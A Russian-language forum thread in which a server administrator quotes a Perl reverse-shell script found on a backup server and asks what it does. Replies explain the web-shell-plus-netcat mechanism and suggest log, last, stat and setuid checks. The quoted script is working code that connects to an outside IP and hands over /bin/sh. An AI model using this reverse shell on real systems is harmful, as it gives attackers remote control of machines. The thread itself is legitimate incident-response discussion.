Обнаружил на сервере файл с раширением .pl вот такого содержания: use Socket; $i="6*.17.226.235"; $p=200; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");}; Что это? Чем опасно? Как может эксплуатироваться тем, кто это заслал? Про то, как это попало на диск даже не спрашиваю. Интересен сам факт того, что это и что оно может.
через веб-шелл, создает и запускает этот скрипт, а на машине(ip которой прописан в коде) запущен netcat, ловящий входящее подключение
А вот тут неувязка. Сервер находится изолированно от основного кластера, представляет из себя по сути помойку с бэкапами основных серверов. Т.е. никакого веба в принципе нет. Судя по логам, скрипт пришел в письме на SMTP сервер. Хм-хм-хм.
Есть некоторые шансы, что вашу машинку порутали. Следовательно, все плохо. Для гарантии систему надо либо сравнивать с бекапами, либо переставлять. Во всех остальных случаях это лишь игра в прятки.
Весь вечер спасал бэкапы на другую машину, систему переустановил. В принципе, остался только осадок и чисто практический интерес к тому, как произошла атака. Ни с чем подобным раньше не сталкивался, теперь грядет очень и очень долгая смена паролей у всей команды, не уверен, что не были слиты бэкапы, в которых содержались SQL-архивы с хэшами и логинами. Каковы действия взломщика? Каким образом шелл попал на машинку я уже понял, но вот что дальше? Совершенно в этом не разбираюсь Т_т Каким образом он к ней подключался, на худой конец. При помощи чего. И как порутал, если это имело место быть. Буду благодарен за ответы на эти вопросы. В целях обеспечения дальнейшей безопасности, естественно.
TheExile надо изучать /var/log/ и стоило запомнить дату создания скрипта, перед удалением (если она, не была изменена)... 1) сверьте ваши IP с выводом last для начала... 2) какие сервисы запущены на сервере? 3) как производятся бекапы? этот сервер, сам их сливает, или на него заливают? 4) по возможности покажите вывод find / -perm /+s -exec ls -lah {} \;
Смотрите stat файла, поле "Изменён:" не подделать а так же inode примерно подскажет когда файл был создан.